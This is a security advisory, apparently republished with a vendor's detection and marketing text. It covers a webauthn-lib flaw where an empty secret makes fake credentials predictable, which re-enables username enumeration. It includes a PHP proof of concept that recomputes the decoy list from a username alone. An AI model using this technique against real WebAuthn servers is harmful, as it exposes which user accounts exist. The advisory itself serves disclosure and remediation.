GHSA-gq4g-fpc9-vjfq
Webauthn: SimpleFakeCredentialGenerator with an empty secret produces predictable fake credentials, weakening username enumeration protection
Blast Radius
web-auth/webauthn-libReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Webauthn\SimpleFakeCredentialGenerator is the library-provided default implementation of the FakeCredentialGenerator interface. It returns a stable list of decoy PublicKeyCredentialDescriptor objects for a given username so that an assertion request for an unknown user looks the same as a request for a real one, which mitigates username enumeration.
The generator derives the whole decoy list from a single seed:
$seed = hash('sha256', $username . $this->secret, true);
When it is constructed without a secret (its constructor default, $secret = ''), the seed depends only on the username. The username is attacker-chosen and the algorithm is public, so an unauthenticated requester can recompute the exact, byte-for-byte decoy list the server returns for any username. The attacker then compares a probed username's response against the locally computed list and decides whether the account is real or fake, which is precisely the distinction the mechanism is meant to hide.
With any non-empty secret the seed becomes a value the attacker cannot evaluate and the mitigation holds. The defect is the empty default, not the algorithm.
Affected configurations
- Direct use of the library (
web-auth/webauthn-lib) whereSimpleFakeCredentialGeneratoris instantiated without a secret. - Any integration that wires the generator with an empty secret.
The Symfony bundle is not affected with its default configuration: it injects the application secret (kernel.secret) into the generator, so out-of-the-box deployments already use a non-empty secret. Deployments that set an empty kernel.secret are affected.
Patches
Fixed in 5.3.5. The generator now emits a deprecation when it is constructed without a secret, which surfaces the misconfiguration in logs and the Symfony profiler. A non-empty secret will be required in 6.0.0. The recommended remediation is to always provide a non-empty, deployment-specific secret.
Workarounds
Construct SimpleFakeCredentialGenerator with a non-empty secret value (for example the application secret), or provide a custom FakeCredentialGenerator implementation seeded with a secret.
Proof of concept
<?php
declare(strict_types=1);
require $src . '/PublicKeyCredentialDescriptor.php';
require $src . '/FakeCredentialGenerator.php';
require $src . '/SimpleFakeCredentialGenerator.php';
use Webauthn\PublicKeyCredentialDescriptor;
use Webauthn\SimpleFakeCredentialGenerator;
$username = '[email protected]';
// 1. The "server" runs the library default wiring (cache=null, secret='').
$server = new SimpleFakeCredentialGenerator();
$refl = new ReflectionMethod(SimpleFakeCredentialGenerator::class, 'generateCredentials');
$refl->setAccessible(true);
$serverDescriptors = $refl->invoke($server, $username);
// 2. The "attacker" recomputes the same algorithm, knowing only the username.
function attackerRecompute(string $username): array {
$transports = [
PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_USB,
PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_NFC,
PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_BLE,
PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_HYBRID,
PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_INTERNAL,
PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_SMART_CARD,
];
$seed = hash('sha256', $username . '', true); // empty secret
$count = (ord($seed[0]) % 3) + 1;
$out = [];
for ($i = 0; $i < $count; $i++) {
$credSeed = hash('sha256', $seed . pack('N', $i), true);
$transportCount = (ord($credSeed[0]) % 2) + 1;
$sel = [];
for ($j = 0; $j < $transportCount; $j++) {
$sel[] = $transports[ord($credSeed[$j + 1]) % count($transports)];
}
$sel = array_values(array_unique($sel));
$out[] = ['type' => PublicKeyCredentialDescriptor::CREDENTIAL_TYPE_PUBLIC_KEY,
'id' => hash('sha256', $credSeed . $username), 'transports' => $sel];
}
return $out;
}
// 3. The two lists match byte-for-byte, so the decoy is reproducible.
// The same call with a non-empty secret diverges, confirming the defect
// is the default value rather than the algorithm.
With the default empty secret the library's fake-credential list is bit-for-bit reproducible from the public username alone, which defeats the username enumeration mitigation. The same call with a non-empty secret diverges.
Severity
Low. The decoy responses are still well-formed and the issue only re-enables username enumeration, and only when the generator is used without a secret (which is not the case for default Symfony bundle deployments).
Credits
Found during an internal security audit of the project.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | web-auth/webauthn-lib | ≥ 4.9.0&&< 5.3.5 | 5.3.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for web-auth/webauthn-lib. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update web-auth/webauthn-lib to 5.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gq4g-fpc9-vjfq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gq4g-fpc9-vjfq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gq4g-fpc9-vjfq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gq4g-fpc9-vjfq in your dependencies?
O3 detects GHSA-gq4g-fpc9-vjfq across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.